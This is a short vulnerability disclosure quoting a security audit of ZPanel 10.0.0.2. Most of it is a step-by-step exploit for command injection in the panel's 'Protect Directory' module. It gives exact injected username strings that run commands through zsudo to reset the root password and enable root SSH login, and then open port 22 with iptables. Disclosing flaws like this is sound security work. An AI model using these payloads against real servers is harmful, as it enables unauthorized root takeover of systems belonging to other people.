One of our expert team members (shachibista@gmail.com) who is assigned to do the security audit of ZPanel code has found the follwoing security vulnerability with ZPanel 10.0.0.2 which will allow anyone to escalate the root accress and access the server by anyone. The security audit states the following: <QUOTE> I have been reviewing ZPanel code and there is a serious remote execution vulnerability in the "Protect Directory" module that allows anyone with access to the page (Administrators, Resellers and Clients by default) to execute arbitrary commands on the shell due to improper (non-existent) escaping of user input. The following steps can be taken to reproduce the exploit: 1. Login as any user and visit http://<server_address>/?module=htpasswd&selected=Selected&path=/ 1a. In the "Username" field input (including the initial semicolon and the final hash): ;/etc/zpanel/panel/bin/zsudo "echo 'newpassword'" "| passwd --stdin root" # 2. Type any password 3. Root password will be set to "newpassword" 4. Visit http://<server_address>/?module=htpasswd&selected=Selected&path=/ 5. In the "Username" field (including initial semicolon and final hash): ;/etc/zpanel/panel/bin/zsudo sed '-i "s/#*\(PermitRootLogin\)/\1 yes \#/" /etc/ssh/*hd*g' # 6. This will enable root login, 7. One can repeat the same process to open port 22 through iptables (iptables -A INPUT -p tcp --dport 22 -j ACCEPT) and restart the ssh server (this will require the process twice as the internal buffer size of zsudo command is 100 characters) <UNQUOTE>